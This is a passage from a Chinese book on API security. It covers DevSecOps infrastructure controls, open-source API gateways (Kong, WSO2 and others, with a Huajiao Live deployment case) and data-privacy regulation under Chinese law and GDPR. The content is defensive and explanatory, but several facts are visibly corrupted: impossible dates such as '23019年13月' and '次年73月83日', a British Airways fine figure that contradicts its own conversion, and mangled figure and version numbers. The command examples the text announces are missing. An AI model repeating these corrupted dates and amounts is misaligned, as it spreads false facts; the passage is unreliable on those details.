议、端口的互相访问,而不同的安全组之间默认是相互网络隔离的。 如果是私有云,则自动化操作相对较为简单。如果是公有云,一般 公有云会提供管理类API供第三方厂商集成调用。集成时,只要按照公 有云的API集成要求,在CD中添加调用的代码即可完成安全组的设置。 阿里云ECS对外部提供的安全组API如图11-8所示。 ●图11-8 阿里云ECS对外提供的安全组API 从图131-8中可以看到,API功能包含安全组的创建、修改、删除, 每一个安全组的授权策略的维护等。利用这些API,可以自动化完成安 全组的设置。 (3)使用加密的API通信 使用加密的API安全中重要的组成部分,使用加密通信在这里主要 有两层含义。 ■ 在网络层的加密,即使用TLS保障网络层的通信安全。 ■ 在应用层的加密,即使用HTTPS保障API应用层通信的安全。 更多的内容,请读者参考第9章的内容,此处不再重复。 (4)控制数据库及其他数据存储的访问 数据库是存储API服务中与业务相关数据的地方,是需要保护的重 点。在传统的IT信息系统中,通常存在多个分库和一个中央核心库的情 况。在分布式架构或微服务架构中,数据相对较为分散,但中央核心库 的情况仍普遍存在,不同的是,基于业务功能的划分,会存在一些边缘 的数据库存储其他的内容,或在同一个数据库中,基于不同的用户,划 分不同的用户表,来存储不同的业务数据。要控制数据库的访问,主要 从以下几个方面进行梳理。 ■ 数据库有哪些用户?这些用户分别具有什么样的访问权限? ■ 是否已经在用户权限上区分了数据查询语言DQL、数据操纵语言 DML、数据定义语言DDL、数据控制语言DCL的操作权限? ■ 哪些用户可以通过哪些IP地址访问数据库? 上面这三个方面梳理清楚了,对于数据库的访问控制就变得简单 了,仅仅是不同类型的数据库操作语言在CI/CD中如何配置的问题。 11.4 小结 本章主要介绍了DevSecOps的发展历史和基本含义,并从API安全 的角度,介绍了DevSecOps平台应具备的基本功能,以及如何通过 DevSecOps管道来开展API安全实践。作为初步实践者,应在DevSecOps 流程中关注自动化API安全测试、API网关、Web应用防火墙三个关键卡 点,初步构建最基础的API安全能力。如果要构建更高层次的API安全 能力,应关注持续集成管道的安全性和API基础设施的安全性,其中对 于线上应用的持续监控和运营在本章的Web应用防火墙章节仅有提及, 更多的内容因考虑到内容的重复,读者在理解、学习时,应结合API安 全架构与设计章节的内容,考虑如何运用到DevSecOps管道中。 第12章 API安全与API网关 随着网络、移动应用、智能终端、物联网市场迅猛发展,万物互联 背景下的各个企业对外提供的API数量急剧增长。这些承载着不同业务 功能的应用程序、API服务之间相互融合,经常涉及接口调用、流程交 互、数据共享等需求,围绕它们建立一个由API连接,并能流畅地输入 输出到其他应用程序的统一平台变得非常重要,这就是API网关这个产 品产生的基础。本章将为读者讲述API网关产品在API安全中的应用。 12.1 API网关产品概述 API网关是当今互联网应用在前后端分离背景下,微服务架构、分 布式架构、多端化服务等架构中重要的组成部分,作为应用层统一的服 务入口,方便平台管理和维护众多的服务接口。 12.1.1 API网关功能介绍 作为存在于企业信息系统的边界强管控服务,API网关是面向 API、串行、集中化的管控工具,它提供高性能的API托管服务,使用 户能够快速、低成本、低风险地开放服务能力。一般来说,API网关由 核心控制系统和后台管理系统两部分组成,其产品在系统架构中的上 下文如图12-1所示。 ■ 核心控制系统:为了满足业务需要所对外提供的核心API能力的 总称,比如处理安全策略、流量控制、服务鉴权、熔断、参数校验、参 数映射、协议转换、服务生命周期管理等所有核心业务能力。 ■ 后台管理系统:用于辅助核心控制系统所提供的能力总称,比如 用户管理、应用接入管理、SDK和API文档生成、服务授权控制、服务 策略绑定等功能的管理能力,为管理人员提供可视化的操作界面,降低 API管理难度。 在API网关的周边,与相邻应用程序的上下文关系如下。 ■ 和后端API服务之间的关系:API提供者在提供稳定的API后,在 API网关中注册并发布API或生成SDK,才可以被终端业务系统调用。 ■ 和客户端应用程序之间的关系:不同的客户端/终端应用程序首 先访问API网关,经过一系列的API控制器、网关路由到目标API。 ■ 和运维监控系统之间的关系:API网关接入运维监控系统,一方 面用于监控网关和服务器的运行情况,另一方面也可以监控各个已注册 API的运行健康情况,并在异常时可以触发告警。 图12-1 API网关产品架构及上下文 ■ 和日志平台之间的关系:API网关接入日志平台,用于采集API 的调用信息,完成问题分析、调用链跟踪、调用数据统计等。 使用API网关的系统架构中,API网关层将内部服务和外部调用隔 离,客户端应用程序调用的后端服务都通过网关的映射来完成,很好地 隐藏了内部服务数据,保障了服务的私密性和安全性。同时,在整个架 构上,能让业务使用者抽出更多的精力来关注核心业务能力建设,而不 是通用的安全性、流控等边界特性的问题。这在快速增加新业务或改变 原有应用系统、服务时,对现有架构和应用程序的影响能降低到最小。 12.1.2 API网关产品特性 API网关现在已经成为互联网应用技术架构中的基础组件,这与 API网关在系统架构所能解决的问题和产品优势密不可分。 1.API网关产品的特点 API网关产品除了上节提及的在网络边界起到内外部隔离外,还有 如下特点。 ■ 减少客户端与服务器端的耦合,后端服务可以独立发展。其主要 表现为:客户端应用程序调用后端服务都是通过网关的映射完成的,在 这样的场景下,内部服务的变更只需要通过修改网关定义即可,客户端 应用程序不需要做任何变更。API网关通过统一标准的协议来整合现有 不同架构、不同语言、不同协议的服务资源,实现业务互联互动,减少 客户端或服务器端的改变对对方造成的影响。 ■ 集成多种安全机制,保障服务交互的安全性。典型的有通信加 密、身份认证、权限管理、流量控制等安全手段。API网关为每一个应 用接入者提供不同的加密密钥或证书,支持多种加密方式和安全传输协 议,在保障通信双方身份可信的前提下,可以防止数据在传输过程中被 窃取或篡改。同时,依赖于API网关的多种安全保护机制,也为后端服 务技术实现时在安全方面的投入减轻压力。 ■ 支持服务熔断设置,根据熔断规则和熔断执行自动执行熔断策 略,同时支持线上调试,比如Mock方式,能够更加方便API服务上线发 布和测试操作。 ■ 提供多种协议的接入、转换与代理功能,比如常见的接口协议 RESTful、WebSocket、Dubbo、WebService、独立文件传输等协议,这 也为后端服务的混合通信协议提供了可选择性。面向外部合作伙伴或第 三方厂商通常提供基于RESTful或WebService形式的API,但后端服务内 部可以在不同的业务部门或项目组之间使用不同的技术栈,比如 RESTful、GraphQL、Dubbo等,而不用担心外部调用的不兼容性。 2.API网关使用场景 API网关能对API的全生命周期进行规划和管理,其适用的场景非 常广泛,除了API开放平台之类的生态化应用以外,典型的使用场景还 有多种API协议转换、API安全接入、多终端协议适配等。 (1)多种API协议转换 在大型异构系统中,API网关在管理后端API服务的同时作为协议 转换工具使用是比较常见的场景。比如外部调用是使用HTTP/HTTPS加 WebSocket协议API请求方式,API网关需要将其请求转换为后端服务所 能提供的RESTful、Dubbo、WebService、WebSocket、Spring Cloud注册 中心等形式,如图12-2所示。 ●图12-2 API网关协议转换场景下的使用 (2)API安全接入 API网关所提供的服务鉴权、流量控制、熔断机制、参数校验等多 种安全机制以及不同机制间的任意组合,能高效、集中地解决在本书基 础部分和安全设计部分所提及的安全问题。如图12-3所示,业务调用的 API请求在经过API安全验证之后才会达到后端服务。 ●图12-3 API网关安全接入场景下的使用 (3)多种终端协议适配 因外部合作伙伴或第三方厂商业务形态的不同,往往存在多种终端 类型的客户端应用程序,比如H5小程序、Android应用程序、桌面应用 程序等。这些应用程序往往涉及不同的开发语言,在API网关产品中通 常提供多端适配的功能,如图12-4所示。 ●图12-4 API网关多端适配场景下的使用 12.2 开源API网关 API网关目前在业界有很多成熟的产品,在第2章中已经为读者做了 简要的介绍。本节主要从开源产品及其在API安全中使用的角度,分别 选择Kong、WSO2、Ambassador等产品为读者做进一步的介绍。 12.2.1 Kong API网关介绍 Kong是一个云原生的、与平台无关的开源API网关,因其高可用 性、易于拓展性而深受企业用户欢迎。在Web应用、移动应用或IoT应 用环境中,Kong可以充当微服务网关或API辅助管理工具,通过插件 的形式,提供负载均衡、日志审计、身份验证、速率限制、协议转换 等功能,提供服务能力。Kong以OpenResty(Nginx+Lua模块)为基 础,采用Apache Cassandra或PostgreSQL作为数据存储,通过集群化模 式为企业提供高效可用的API管理服务能力。其典型的部署架构示意图 如图12-5所示。 1.Kong API网关安全特性 Kong API网关安全特性主要依赖于其管理的插件,所支持的插件可 以从其Kong Hub网站下载(包含企业版插件和开源版插件),网址为 https://docs.konghq.com/hub,与安全特性相关的插件可以划分为以下几 类。 ■ 身份认证插件:Kong支持Basic基础认证、Key密钥认证、OAuth 2.0认证、HMAC认证、JWT认证、LDAP认证、Session会话认证等。 ■ 访问控制插件:ACL(访问控制列表)、CORS(跨域资源共 享)、Kong Path Allow(Kong请求路径控制)、IP限制、爬虫检测等。 ■ 流量控制插件:请求限流(基于请求计数限流)、上游响应限流 (根据upstream响应计数限流)、应答限流(基于response响应计数限 流)、请求大小限制、本地限流、集群限流等。 ●图12-5 Kong API网关部署示意图 ■ 日志审计插件:支持文件日志、HTTP Server日志、Syslog日志、 StatsD日志、TCP Server日志、UDP Server日志等。 ■ 安全防护插件:集成Let's Encrypt的ACME协议、僵尸客户端检 测、API威胁保护等。 ■ 协议转换插件:支持的API协议有GraphQL、RESTful、gRPC、 Kafka消息等。 2.Kong安全插件的基本使用 (1)Kong API网关的安装 目前Kong官网提供多种形式的安装文件,有RPM包、Docker、源 代码等。这里以Redhat环境下的安装为例,其安装步骤如下。 1)从Kong官网下载redhat版本的安装文件,使用RPM方式进行安 装,安装操作的命令行如下: 2)安装PostgreSQL并初始化数据库,默认情况下,数据库名、用 户名、密码均为kong。其操作命令如下所示: 3)配置数据库。默认情况下,/etc/kong目录下会存在 kong.conf.default文件,使用此文件配置Kong连接的数据库。 找到如图12-6所示的代码片段,将每一行开头的注释符#去掉。 ●图12-6 Kong数据库连接配置 4)启动Kong,启动之前需要对数据进行归并,并在启动时指定配 置文件的位置。其操作命令行如下所示: 如果启动时没有异常信息,则表示正常启动了,这时执行curl http://localhost:8001则正常回显Kong页面内容。第一次安装时,新手可 能会遇到各种异常情况,出现异常时根据异常信息调整即可,大多数问 题都是常见的、易于解决的。 (2)Kong保护API服务使用步骤 在使用安全插件之前,需要对Kong保护的API或服务接口进行配 置,Kong提供RESTful形式的Admin API、Kong管理控制台页面、decK 三种方式进行管理。这里为了更方便说明配置过程,采用Admin API来 操作,以帮助读者通过提交的请求消息内容和响应消息内容来理解 Kong的使用。Admin API的操作文档在其官网可直接访问,网址为 https://docs.konghq.com/2.1.x/admin-api/,配置完成后,API的调用链路 将由客户端应用程序→API服务改变为客户端应用程序→Kong Route→Kong Service→API服务,其详细配置步骤如下。 1)在Kong中添加API或服务接口。通过添加配置,在Kong API网 关中注册对外提供的API服务或接口,同时也便于Kong对API的管理。 创建成功后,应答消息如下所示: 添加完服务之后,在此服务接口上添加路由,用于接口调用时所必 需的请求路径、协议、ID等信息。 2)对API或服务接口添加路由信息。添加路由的目的是告诉 Kong,当外部使用者调用API接口时,请求的URL路径是如何与后端的 API接口之间进行匹配的,等同于在Kong API网关中,建立请求路径与 后端API接口之间的映射关系。 创建成功后,应答消息如下所示: 添加完路由之后,接着添加消费者,用于接口调用时使用消费者身 份调用此API或服务接口。 (3)Kong安全插件使用样例 Kong安全插件的使用也可以通过admin-api进行管理,基于服务接 口example-service使用样例,接下来将讲解限流插件和身份认证插件的 使用。 ■ 限流插件的使用:限流插件用来保护API免受意外或恶意的过度 调用,如果没有速率限制,则每个调用者可以任意进行请求,这可能导 致大量的资源消耗。在Kong中,限流插件的使用比较简单,通过admin- api添加限流配置即可,如下命令行所示: 配置成功后,应答响应如下所示: 配置完成后,如果每分钟调用次数大于5次,则触发限流规则。 ■ 身份认证插件使用:这里以Key密钥认证为例,为example- service添加key密钥认证,使用的命令行为: 这里的请求路径为http://localhost:8001/services/{service- name}/plugins,其中service name的值为创建服务时所指定的名称,参数 为"name=key-auth"。执行成功后,会返回apikey,如下所示: 在接下来的服务调用时,需要携带apikey才能调用。 12.2.2 WSO2 API管理平台介绍 WSO2 API管理平台是一个综合性的、开源企业级的API管理解决 方案,虽然在国内知名度不高,但其功能全面,在API管理方面有着很 强的优势。它从API的全生命周期管理、应用程序开发、第三方合作伙 伴调用、内部应用程序开发等使用者的角度为客户提供API访问控制、 速率限制、流量分析、异常检测、DevSecOps集成等功能。在其官网 上,对产品的整体架构和定位如图12-7所示。 ●图12-7 WSO2 API管理平台官方网站产品架构图 作为一个完整的解决方案,WSO2 API管理平台由API发布者、API 开发者门户、API网关、API密钥管理器、API流量管理器等模块构成。 API发布者通过API发布者模块定义和管理API,API使用者通过API开发 者门户网站发现API、使用API,而API网关、API密钥管理器、API流量 管理器等模块为API服务安全、便捷地使用提供强大的功能保护。 1.WSO2 API管理平台安全特性 WSO2 API管理平台在安全方面的能力,由其中的API网关、微服 务网关、API密钥管理器、API流量管理器等内部模块中的安全组件构 成,其安全特性主要表现如下。 ■ 身份认证:通过API身份认证保护API的未授权访问或匿名访问, 支持身份认证方式有HTTP Basic基础认证、证书/密钥认证、OAuth 2.0 认证、JWT认证等。 ■ 授权与访问控制:WSO2 API Manager提供基于使用范围和基于 XACML的细粒度API访问控制机制。 ■ API审核:与API安全平台42Crunch合作,提供对OpenAPI规范定 义进行安全审核的功能。 ■ API威胁保护:提供多种API威胁防护手段,比如僵尸主机或机 器人程序检测、基于正则表达式威胁的防护、基于JSON威胁的防护、 基于XML威胁的防护。 ■ 限流:支持多种限流策略,比如单位时间的请求次数、吞吐量、 IP地址和范围、HTTP请求头、JWT声明、查询参数等,用户还可以通 过密钥模板自定义格式或参数来进行限流。 2.WSO2 API管理平台的使用 作为一个API管理的解决方案型产品,WSO2 API管理平台在使用和 安装上比Kong要复杂。在安装WSO2 API管理平台之前先要考虑WSO2 API管理平台的部署方式,再考虑运行环境准备。这里以单节点部署为 例,讲述WSO2 API管理平台中安全功能的使用。 (1)WSO2 API管理平台的安装 WSO2 API管理平台的安装配置推荐至少4G内存、双核CPU,需要 Java运行环境。这里以Windows下wso2am-windows-installer-x64- 3.2.0.msi安装为例,为读者讲述WSO2 3.2.0版本的安装过程。WSO2 API管理平台的安装过程非常简单,步骤如下。 1)如果没有安装JDK1.8及以上版本,请读者自行安装。安装完 JDK1.8并配置环境变量后,执行java-version,显示如图12-8所示,则表 示配置正确。 ●图12-8 验证Java环境变量配置 2)双击wso2am-windows-installer-x64-3.2.0.msi开始安装,一直单 击“下一步”按钮到结束即可。但在这个过程中尤其需要注意的是: Windows下安装路径不能带有空格,默认情况下路径中会包含“API Manager”,请安装时修改掉。 3)在33.2.0版本中,启动时系统会寻找%CARBON_HOME%目 录,这个变量的设置可以直接在API Manager安装目 录/bin/wso2server.bat文件中定义。当安装目录为F:\WSO2\APIM\3.2.0 时,CARBON_HOME的配置如图12-9所示。 ●图12-9 CARBON_HOME变量设置 4)在cmd中,执行API Manager安装目录下的/bin/wso2server.bat - run,即进入启动阶段,当cmd中显示如图12-10的日志时,表示API Manager启动成功。 ●图12-10 API Manager启动成功日志 (2)WSO2 API管理平台安全功能使用 WSO2 API管理平台的API安全配置主要在API发布者门户中,默认 情况下访问的地址为https://localhost:9443/publisher,这里仍然以Swagger Petstore的API定义文件为例,讲述其安全功能的使用。 ■ 导入API配置信息,WSO2 API管理平台支持yaml格式的文件导 入,如图12-11所示。 ●图12-11 API Manager导入yaml文件 导入成功后,自动显示API定义、路径、参数等信息,如图12-12所 示。 ●图12-12 Swagger Petstore的API配置信息 单击图132-12中的Runtime Configuration,进行安全配置。主要支持 的安全配置内容有传输安全、应用级安全、CORS配置、参数校验、 限流等,如图12-13所示。 ●图12-13 Swagger Petstore的API安全配置内容 ■ 传输安全配置,对于API通信来说,支持HTTP、HTTPS,如果使 用SSL,需要上传证书,如图12-14所示。 ■ 应用级安全,主要是API认证与授权相关配置,比如OAuth、 HTTP Basic基础认证、API KEY认证等,如图12-15所示。 ●图12-14 Swagger Petstore的API传输安全配置 ●图12-15 Swagger Petstore的API应用级安全配置 ■ CORS配置,在API安全中,CORS可以HTTP请求头和请求方法 来进行授权访问控制,其配置页面如图12-16所示。 ■ 限流配置,限流在WSO2 API管理平台中可以通过单位时间内调 用次数和TPS两种策略来控制,如TPS的配置如图12-17所示。 ●图12-16 Swagger Petstore的API CORS安全配置 ●图12-17 Swagger Petstore的API后端TPS限流配置 12.2.3 其他开源API网关产品介绍 除了上述的两款开源API网关产品外,还有一些API网关产品也有 着不小的使用客户群,主要有Ambassador API网关、Spring Cloud网关 等,在这里只做简要的介绍,想要深入了解的读者,可以查阅相关资 料。 1.Ambassador API网关介绍 Ambassador API网关是一个基于Kubernetes原生的、具备第7层负载 均衡功能的开源API网关,是专门为微服务和Kubernetes而设计,充当 Kubernetes集群入口的管理控制器。其产品功能特点主要如下。 ■ 充当流量代理和边缘控制入口,支持gRPC、gRPC-Web、 HTTP/2、WebSockets等多种协议,并提供流量管理功能。 ■ 通过边界策略和声明式配置,拓展了Kubernetes的功能,降低 Kubernetes的使用难度,比如与Kubernetes API无缝对接,使平台维护人 员和开发人员很方便地通过图形界面轻松地完成配置。 ■ 通过自动重试、超时、熔断、速率限制等机制,加强对微服务流 量管控,提高后端应用程序的可伸缩性和高可用性。 ■ 与Service Mesh(服务网格)的无缝集成,支持端到端TLS加密通 信和服务发现,使得多集群部署变得简单、可行。 ■ 包含的安全功能(比如自动TLS、身份验证、速率限制、WAF集 成和细粒度的访问控制等)使得产品安全性和易用性较好。 2.Spring Cloud网关介绍 在Spring Cloud开发框架中,先后出现了Zuul和Spring Cloud Gateway两个网关组件。Zuul是由美国网飞(Netflix)公司开源的API网 关,在早期Spring作为开发框架的微服务架构中被广泛使用,作为内外 部通信的门户,实现网关所具备的动态路由转发、身份鉴别、访问控 制、调度等功能。Spring Cloud Gateway是Spring Cloud最新推出的网关 框架,是为开发者提供在Spring MVC开发框架基础之上构建API网关的 类库,为业务提供基本路由转发、熔断、限流以及其他网关功能的综合 使用能力。在这两类网关的使用过程中,除了基本的属性配置外,还需 要代码开发。这种非开箱即用的产品形态,是Zuul和Spring Cloud Gateway两个网关与上文提及的Kong、WSO2 API管理平台在使用上的 最大差异。但从另一方面来说,对于具备二次开发能力的团队或企业来 说,如果应用程序是使用Spring作为开发框架,再使用Zuul或Spring Cloud Gateway作为API网关在实现难度和技术路线融合上又有着天然的 优势。 在Spring Cloud的官网上,对于Spring Cloud Gateway的使用提供了 快速入口案例,通过简单的入门案例,从Spring Cloud Gateway项目创 建、依赖配置、主程序编码、测试验证等多个方面来指导开发者如何使 用Spring Cloud Gateway。其工作原理如图12-18所示。 ●图12-18 Spring Cloud Gateway网关工作原理 当客户端向后端服务发起请求时,需要经过Spring Cloud Gateway处 理。在Spring Cloud Gateway内部,通常是由一个个连续的Filter构成, 根据请求路径与路由匹配,在Filter链中进行处理,比如路由转发、身份 校验、访问授权的鉴别等。如果Filter链处理结束,最后交给后端服务去 响应客户端的请求。 12.3 业界最佳实践——花椒直播Kong应用实践分析 API网关作为一个基础组件在应用技术架构中被使用已经越来越 多,很多企业和厂商也纷纷推出自家的商业版API网关产品。本节将结 合花椒直播使用开源Kong API网关实践进行分析,为读者讲述该使用案 例。 1.花椒直播Kong引入背景 花椒直播是国内一家知名的移动社交直播平台,2020年2月25日公 众号“花椒技术”发布篇名为《花椒直播Kong应用实践》的原创文章,讲 述了花椒直播内部使用Kong作为API网关的实践过程,感兴趣的读者可 以阅读原文了解更多细节。在这里,结合此文中的内容,从Kong实践 的角度分析其应用过程。 每一次架构的调整或引入外部组件,都不是无缘由的,通常是存在 某些问题或期望通过架构的调整来解决某些问题。在花椒直播Kong应 用实践中,作者首先抛出了引入Kong之前面临的问题。 ■ 缺少统一的API管理工具问题。在PHP作为开发语言向Java的 Spring开发架构迁移的过程中,涉及版本的迭代发布、外部多个接口的 调用、日常维护的管理。这些工作需要一个统一代理工具来辅助技术人 员提高工作效率。 ■ 微服务架构中安全机制实现问题。在微服务架构中,后端往往存 在多个细粒度的、单一的微服务业务组件,共同为前端提供业务能力。 如果每一个微服务都要去实现一套安全机制,比如接口鉴权、访问控 制、限流等,既耗费人力成本又增加了编码开发的复杂度。 ■ 持续集成能力的支撑问题。DevOps的工具化管道流程已深入人 心,通过CI/CD的持续集成能力,既能自动化地提高工作效率也能减少 人操作出错的概率。 正是由于这些原因,才使得花椒直播的技术人员选择Kong作为管 理工具,并将接口鉴权、访问控制、限流等安全机制融入其中,作为微 服务访问的统一入口。 2.花椒直播Kong部署架构 引入API网关之后,通常带来技术架构的调整。在API网关的部署 架构中,通常有如下4种方式:单节点独立部署、分布式集群部署、内 外部并行部署、混合云部署。 (1)单节点独立部署 顾名思义,单节点独立部署是指将API网关的各个组件作为一个整 体,部署在一台服务器上,同时,各个组件之间也不存在备份节点。 在业务系统的生产环境中,采用此架构的情况比较稀少,大多数用于研 测环境,对API网关的可用性没有过高要求,即使宕机了几个小时也不 对业务造成多大影响。此时部署架构如图12-19所示。 ●图12-19 API网关单节点独立部署示意图 (2)分布式集群部署 分布式集群部署在API网关的部署架构中极为常见,生产环境中, 需要考虑API的高并发和吞吐量,通常会采用集群化部署来提高API网 关自身的可用性。一个API网关产品,往往是由不同的产品组件组成 的,在集群化部署时,根据各个组件对外提供的功能的不同,区分考虑 哪些组件需要做分布式集群部署,哪些组件不需要做分布式集群部署。 一般来说,对于为外部提供API能力的组件需要分布式集群部署,而对 内部提供API维护和管理功能的组件不需要分布式集群部署。这种场景 下,API网关的部署架构如图12-20所示。 ●图12-20 API网关分布式集群部署示意图 (3)内外部并行部署 内外部并行部署在大型互联网应用中也较为常见,它与分布式集群 部署比较接近。不同的是,根据API所提供服务对象的不同,划分为内 部API网关代理和外部API网关代理两个代理组件。内部API网关代理 负责管理后端微服务内部的各个API调用,更接近某个厂商的微服务网 关产品,相当于东西向流量的管控;而外部API网关代理负责管理外部 合作伙伴或第三方应用厂商的应用程序,对内部的各个API调用,相当 于南北向的流量管控。此场景下,API网关的部署架构如图12-21所示。 ●图12-21 API网关内外部并行部署示意图 (4)混合云部署 混合云部署适合大型互联网应用在混合云架构下的部署方式,它 与内外部并行部署比较接近。不同的是,将内外部并行部署架构中的内 部API网关部署位置移动到云端,两个API网关各司其职,分别管理企 业内部和企业云端的API。此场景下,API网关的部署架构如图12-22所 示。 ●图12-22 API网关混合云部署示意图 在花椒直播的Kong部署架构中,采用的是分布式集群部署,但由 于Kong自身不具备L4层负载均衡能力,故采取LVS技术,使用VIP作为 统一接入点。其部署架构图如12-23所示。 ●图12-23 花椒直播Kong部署架构示意图 3.花椒直播Kong应用成效 在引入了Kong作为API网关之后,完美地解决了前文提及的问题。 在实践中,取得了预期的效果。 ■ 统一了微服务入口,并将API安全机制纳入Kong管理,减少了各 个微服务实现的难度和冗余量。 ■ 通过Dashboard管理工具管理API,便于对API的管理维护。 ■ 与GitLab CI/CD流程打通,通过管道化完成从编码到发布的工 作,为蓝绿部署创建了条件。 ■ 支持了动态扩容,在业务压力大的情况下,可以动态扩容Kong节 点。 除了这些可预期的效果外,使用API网关也会带来其他的好处。比 如性能与可用性上,除了Kong自身的集群部署外,也为后端服务的动 态扩容创造了可实施条件;可维护性上,从原来对API的纯手工管理到 使用网关后的可视化界面管理,对维护人员来说易用性提高了很多。 Kong对安全的意义只在使用Kong API网关的好处中占很小的一部分, 对API全生命周期的管理才是真正的意义所在。 12.4 小结 本章为读者介绍了API网关产品,从API网关产品自身的产品特 点、使用场景开始,详细讲述了Kong、WSO2 API管理平台的使用,并 以花椒直播Kong应用实践为案例,分析了API网关的使用背景和帮助企 业解决的问题。虽然涉及的内容较多,但总体来说大多是比较浅显的产 品分析。API网关是当前技术背景下,解决API安全问题最合适的产 品,却并不是最好的、唯一的产品。随着API技术使用场景的不断演 进,API网关也正在衍生出不同类型的API网关产品,比如云原生API网 关、Open API平台API网关、微服务网关等。最终可能像防火墙那样, 有L4层的网络防火墙,有L7层的Web应用防火墙,还有数据库层面的数 据库防火墙。消费者在使用时,只需要根据企业自身的技术路线特点, 选择不同的API网关即可使用,而不需面临使用一个产品来解决所有的 问题,偏偏这些问题又解决不了的苦恼。 第13章 API安全与数据隐私 自2017年6月1日施行《中华人民共和国网络安全法》之后,在政府 部门的强力监管和宣传下,数据隐私保护问题逐渐进入普通大众视野。 如果一家企业或组织一旦发生数据泄露事件,轻者影响企业声誉,重者 造成上市企业股价下跌。数据隐私保护,尤其是个人信息保护,成了企 业和个人关注的焦点。API作为互联网企业对外部提供业务能力的主要 技术通道,对数据隐私的保护成为API必须具备的基础能力。本章将为 读者介绍数据隐私在API安全的保护和处置相关问题。 13.1 数据隐私发展现状简述 人们对网络数据隐私问题的关注是因不断出现的数据泄露事件。在 互联网不断发展的过程中,越来越多与生活息息相关的数据从线下被搬 到互联网上。从最开始的互动、娱乐到后来的电商、支付,再到今天的 政务、医疗、教育、出行等,如果将这些企业的数据汇集起来,可以将 一个人的日常生活刻画得十分清晰。人们从互联网获得生活便捷的同 时,却不得不将个人隐私信息让渡给企业。 企业开展业务活动的过程中,往往片面地关注盈利或自身安全能力 的不足,存在对数据隐私保护不力的情况,导致不断地有数据泄露事件 进入公众视野。为了遏制这种乱象,保护每一个公民的数据隐私权利不 受侵犯,构建健康、长远的互联网环境,世界各国均加强了对数据隐私 保护工作的立法和监管。 13.1.1 国内个人信息保护监管现状 在2017年6月1日发布的《中华人民共和国网络安全法》中,第一 次明确地提出了网络运营者对个人信息的全生命周期保护,其中第四 章第四十一条的法律条文如下: 网络运营者收集、使用个人信息,应当遵循合法、正当、必要的原 则,公开收集、使用规则,明示收集、使用信息的目的、方式和范围, 并经被收集者同意。网络运营者不得收集与其提供的服务无关的个人信 息,不得违反法律、行政法规的规定和双方的约定收集、使用个人信 息,并应当依照法律、行政法规的规定和与用户的约定,处理其保存的 个人信息。 为了落实《中华人民共和国网络安全法》《中华人民共和国消费者 权益保护法》的要求,中央网信办、工业和信息化部、公安部、市场监 管总局四部门于23019年13月联合发布《关于开展App违法违规收集使 用个人信息专项治理的公告》,在全国范围内组织开展“App违法违规 收集使用个人信息专项治理”行动,结合《App违法违规收集使用个人信 息行为认定方法》和GB/T 35273-2020《信息安全技术 个人信息安全规 范》这些法律和标准规范,为企业使用个人信息的合规提供了可操作指 南。 同时,多家国内媒体也对App违法收集个人信息给予曝光或通报。 如“3.15”晚上曝光的SDK违规收集个人信息,工业和信息化部2020年连 续发布3批《关于侵害用户权益行为的App通报》,如图13-1所示。 ●图13-1 工业和信息化部关于侵害用户权益行为的2020年第三批App通报 这些曝光和通报,给企业经营者在API的数据收集、使用和传递过 程中,如何合法、合规的使用,敲响了警钟。 13.1.2 国外数据隐私监管现状 说到国外数据隐私,首先要说的当属欧盟的《一般数据保护条例》 (General Data Protection Regulation,GDPR)。其于2018年5月25日在 欧盟成员国范围内正式生效实施,次年73月83日,英国航空公司因为违 反《一般数据保护条例》被罚13.8339亿英镑(约折合15.8亿元人民 币)。 GDPR被广泛认为是有史以来最严厉的数据安全管理法规,其强调 个人权利为主的数据保护、数据透明度、数据所有权以及数据权利的让 渡,尤其是数据主体的知情权、访问权、更正权和删除权等。同时,对 于儿童用户,根据不同年龄段明确了用户同意的数据处理合法标准。 除了欧盟的GDPR之外,印度的《个人数据保护法案(Personal Data Protection Bill)》、韩国的《个人信息保护法案(Personal Information Protection Act)》、加拿大的《个人信息保护与电子文档法 案(Personal Information Protection and Electronic Documents Act)》等 均从个人隐私保护的角度颁布数据隐私保护的法规。 在这些法律法规实施的过程中,要求企业从数据的采集、存储、 使用、共享、转让、披露、出境等数据生命周期的各个环节去保护数 据隐私的安全。企业使用互联网技术时,需要考虑相应的安全保护措 施,而API技术作为实现企业服务和生态构建的关键技术路径,数据隐 私的保护对API安全来说尤其重要。 13.2 API安全中的数据隐私保护 API交互过程中,主要的对象是数据,敏感数据也是API交互的重 要组成部分。如何做好API中数据隐私的保护是API安全的重中之重。 13.2.1 数据隐私的含义 各国对于数据隐私的含义各不相同,就国内来说,在信息安全领 域,数据隐私的含义更为宽泛,除了基本的个人信息(比如姓名、生 日、身份证号)外,个人在互联网上的浏览记录、行为习惯、行为轨 迹等都被认为是数据隐私的范畴。在与互联网相关的国家标准或规范 中,数据隐私一词通常被“个人信息”或“个人敏感信息”所代替,国家推 荐性标准GB/T 35273-2020《信息安全技术 个人信息安全规范》中的术 语与定义章节,对个人信息、个人敏感信息做出了明确的定义并列举了 样例。在标准文本中有如下描述。 ■ 个人信息是指以电子或者其他方式记录的能够单独或者与其他信 息结合识别特定自然人身份或者反映特定自然人活动情况的各种信息。 个人信息包括姓名、出生日期、身份证件号码、个人生物识别信息、住 址、通信通讯联系方式、通信记录和内容、账号密码、财产信息、征信 信息、行踪轨迹、住宿信息、健康生理信息、交易信息等。 ■ 个人敏感信息是指一旦泄露、非法提供或滥用可能危害人身和财 产安全,极易导致个人名誉、身心健康受到损害或歧视性待遇等的个人 信息。个人敏感信息包括身份证件号码、个人生物识别信息、银行账 户、通信记录和内容、财产信息、征信信息、行踪轨迹、住宿信息、健 康生理信息、交易信息、14岁以下(含)儿童的个人信息等。 从以上描述中可以看出,个人信息、个人敏感信息两者的含义与区 别,个人信息涵盖的内容要大于个人敏感信息,个人敏感信息是个人信 息的子集,是个人信息中尤其重要的部分。当在API中开展数据隐私保 护时,其实重点是保护个人信息,尤其是个人敏感信息的安全,需要从 数据的收集、存储、使用、共享、转让、公开披露等信息处理各个环 节中关注其安全性。 13.2.2 数据生命周期中的隐私保护 对于数据隐私或个人信息的保护,在业务实践中通常融入数据生命 周期去考虑,将数据收集、存储、使用等环节需要满足的合规要求和安 全保护措施分解到数据生命周期中进行具体落实。对于数据生命周期的 划分,业界划分方式各不相同。针对数据隐私保护,建议统一参考阿里 巴巴的数据生命周期来动态考虑其安全机制的实现,阿里巴巴数据生命 周期如图13-2所示。 ●图13-2 阿里巴巴数据生命周期 数据生命周期的各个阶段在国家推荐性标准GB/T 37988-2019《信 息安全技术 数据安全能力成熟度模型》文件中有关于各个阶段所需要 的安全能力的描述,如图133-3所示。 ●图13-3 GB/T 37988-2019标准中的数据安全过程域体系 